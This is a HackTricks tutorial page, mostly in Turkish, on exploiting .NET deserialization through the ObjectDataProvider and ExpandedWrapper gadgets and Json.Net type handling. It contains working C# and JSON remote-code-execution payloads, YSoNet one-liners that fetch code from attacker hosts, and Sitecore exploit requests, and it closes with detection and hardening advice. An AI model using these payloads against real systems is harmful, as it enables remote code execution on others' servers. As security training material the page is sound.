Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu yazı, ObjectDataProvider gadget'ının nasıl istismar edilerek RCE elde edildiğini ve Serialization kütüphaneleri Json.Net ve xmlSerializer'ın bu gadget ile nasıl kötüye kullanılabileceğini anlamaya adanmıştır.

ObjectDataProvider Gadget

Dokümantasyondan: ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Evet, tuhaf bir açıklama; o halde bu sınıfın bu kadar ilginç kılan neye sahip olduğuna bakalım: Bu sınıf rastgele bir nesneyi wrap etmeye, MethodParameters kullanarak rastgele parametreler ayarlamaya, ve ardından MethodName kullanarak belirlenen parametrelerle rastgele nesnenin rastgele bir fonksiyonunu çağırmaya olanak verir.
Bu nedenle, rastgele object serileştirilirken parametrelerle birlikte bir fonksiyonu çalıştıracaktır.

Bu nasıl mümkün

System.Windows.Data namespace'i, PresentationFramework.dll içinde C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF yolunda bulunur; ObjectDataProvider burada tanımlanıp uygulanmıştır.

dnSpy kullanarak ilgili sınıfın kodunu inceleyebilirsiniz. Aşağıdaki görselde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name kodunu görüyoruz.

Gördüğünüz gibi MethodName ayarlandığında base.Refresh() çağrılıyor; bunun ne yaptığına bakalım:

Tamam, şimdi this.BeginQuery()'in ne yaptığını görmeye devam edelim. BeginQuery ObjectDataProvider tarafından override edilmiş ve yaptığı şey şudur:

Kodun sonunda this.QueryWorke(null) çağrısına dikkat edin. Bunun neyi çalıştırdığını görelim:

Bu QueryWorker fonksiyonunun tamamı değil ama ilginç kısmı gösteriyor: Kod this.InvokeMethodOnInstance(out ex); çağrısı yapıyor; bu, ayarlanan metodun çağrıldığı satırdır.

Eğer sadece MethodName'i ayarlamanın çalıştırılacağını kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data

ExpandedWrapper

Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process for example). You can find more information about the DotNetNuke vuln here.

This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
This is very useful for cases as the one presented before, because we will be able to wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page it is indicated that this library allows to Json.NET'in güçlü JSON serializer'ı ile herhangi bir .NET nesnesini serialize ve deserialize etme yeteneğine sahip olduğunu belirtiyor. Yani eğer ObjectDataProvider gadget'ını deserialize edebilseydik, sadece bir nesneyi deserialize ederek bir RCE tetikleyebilirdik.

Json.Net örneği

Öncelikle bu kütüphaneyi kullanarak bir nesnenin nasıl serialize/deserialize edileceğine dair bir örnek görelim:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net'in suistimali

ysoserial.net kullanarak exploit'i oluşturdum:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Bu kodda test the exploit'i deneyebilirsiniz, sadece çalıştırın ve calc'in çalıştırıldığını göreceksiniz:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)

Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulama güvensiz .NET deserializasyonu gerçekleştirdiğinde istismar edilebilecek ÇOK SAYIDA gadget zincirinden sadece biridir. Modern red-team araçları, ör. YSoNet (ve daha eski ysoserial.net), onlarca gadget ve serileştirme formatı için kullanıma hazır kötü niyetli nesne grafikleri oluşturmayı otomatikleştirir.

Aşağıda YSoNet ile gelen en kullanışlı zincirlerin özet bir referansı, nasıl çalıştıklarına kısa açıklamalar ve payload üretmek için örnek komutlarla birlikte verilmiştir.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateDelegateSerializationHolder kaydını bozar; nesne materyalize olduğunda delege herhangi bir saldırgan tarafından sağlanan metoda işaret eder (ör. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorSystem.Workflow.ComponentModel.ActivitySurrogateSelector'ı suistimal ederek .NET ≥4.8 tip-filtrelemesini atlar ve sağlanan bir sınıfın yapıcısını doğrudan çağırır veya bir C# dosyasını anında derlerBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourSystem.Data.DataSet'in eski XML temsilini kullanarak <ColumnMapping> / <DataType> alanlarını doldurup rastgele türler oluşturur (isteğe bağlı olarak --spoofedAssembly ile assembly'yi sahteleyebilir)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsWPF destekli runtime'larda (> .NET 5) özellik getter'larını System.CodeDom.Compiler.CompilerResults'a ulaşana kadar zincirler, sonra -c ile sağlanan bir DLL'i derler veya yüklerJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (inceleme)WPF System.Windows.Data.ObjectDataProvider'ı kontrol edilen argümanlarla rastgele bir static metodu çağırmak için kullanır. YSoNet, kötü amaçlı XAML'i uzaktan barındırmak için kullanışlı bir --xamlurl varyantı eklerBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)PowerShell nesnesi deserializasyonu sırasında çalışacak şekilde ScriptBlock'u System.Management.Automation.PSObject içine gömerPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Tüm payload'lar varsayılan olarak stdout'a yazılır; bu, bunları diğer araçlara (ör. ViewState jeneratörleri, base64 kodlayıcılar, HTTP istemcileri) yönlendirmeyi kolaylaştırır.

YSoNet'i Derleme / Kurma

Eğer Actions ➜ Artifacts / Releases altında önceden derlenmiş ikili dosyalar yoksa, aşağıdaki PowerShell tek satırlık komut bir build ortamı kurar, repository'yi klonlar ve her şeyi Release modunda derler:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

The compiled ysonet.exe can then be found under ysonet/bin/Release/.

Tespit ve Sertleştirme

  • Tespit edin: w3wp.exe, PowerShell.exe veya kullanıcı tarafından sağlanan veriyi deserialise eden herhangi bir sürecin (ör. MessagePack, Json.NET) beklenmeyen alt süreçlerini.
  • Legacy BinaryFormatter / NetDataContractSerializer kaldırılamıyorsa, type-filtering (TypeFilterLevel = Full, özel SurrogateSelector, SerializationBinder, vb.) etkinleştirilip zorunlu kılın.
  • Mümkünse whitelist tabanlı dönüştürücüler ile System.Text.Json veya DataContractJsonSerializer'a geçin.
  • Hiç ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF assembly'lerinin (PresentationFramework, System.Workflow.*) yüklenmesini engelleyin.

Gerçek‑dünya sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Kimlik doğrulamalı Sitecore XP Content Editor akışlarında erişilebilen pratik bir .NET sink:

  • Sink API: Sitecore.Convert.Base64ToObject(string) içinde new BinaryFormatter().Deserialize(...) kullanılır.
  • Tetikleme yolu: pipeline convertToRuntimeHtmlConvertWebControls, bu işlem id="{iframeId}_inner" olan bir kardeş elementi arar ve base64 ile kodlanmış serileştirilmiş veri olarak muamele edilen bir value özniteliğini okur. Sonuç string'e dönüştürülür ve HTML'e eklenir.

Minimal uçtan uca (kimlik doğrulamalı):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). Payloads üretmek için YSoNet/ysoserial.net'e bakın.

Sitecore'da HTML cache poisoning ile pre‑auth başlayan ve bu sink'e yol açan tam bir zincir için:

Sitecore

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin